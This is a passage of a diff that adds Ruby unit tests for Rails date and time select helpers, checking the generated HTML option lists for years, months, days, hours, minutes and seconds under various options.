+      expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+      expected << "</select>\n"
+
+      expected << " &mdash; "
+
+      expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+      expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+      expected << "</select>\n"
+      expected << " : "
+      expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+      expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+      expected << "</select>\n"
+
+      assert_dom_equal expected, datetime_select("post", "updated_at")
+    ensure
+      Time.zone_default = nil
+    end
+  end
+
+  def test_datetime_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    fields_for :post, @post do |f|
+      concat f.datetime_select(:updated_at, {}, :class => 'selector')
+    end
+
+    expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
+    expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+    expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+    expected << " &mdash; <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option selected='selected' value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n</select>\n"
+    expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n<option value='32'>32</option>\n<option value='33'>33</option>\n<option value='34'>34</option>\n<option selected='selected' value='35'>35</option>\n<option value='36'>36</option>\n<option value='37'>37</option>\n<option value='38'>38</option>\n<option value='39'>39</option>\n<option value='40'>40</option>\n<option value='41'>41</option>\n<option value='42'>42</option>\n<option value='43'>43</option>\n<option value='44'>44</option>\n<option value='45'>45</option>\n<option value='46'>46</option>\n<option value='47'>47</option>\n<option value='48'>48</option>\n<option value='49'>49</option>\n<option value='50'>50</option>\n<option value='51'>51</option>\n<option value='52'>52</option>\n<option value='53'>53</option>\n<option value='54'>54</option>\n<option value='55'>55</option>\n<option value='56'>56</option>\n<option value='57'>57</option>\n<option value='58'>58</option>\n<option value='59'>59</option>\n</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_datetime_select_with_separators
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " , "
+
+    expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
+  end
+
+  def test_date_select_with_zero_value_and_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+  end
+
+  def test_datetime_select_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+  end
+
+  def test_datetime_select_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
+  end
+
+  def test_datetime_select_with_auto_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = @post.id
+
+    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post[]", "updated_at")
+  end
+
+  def test_datetime_select_with_seconds
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
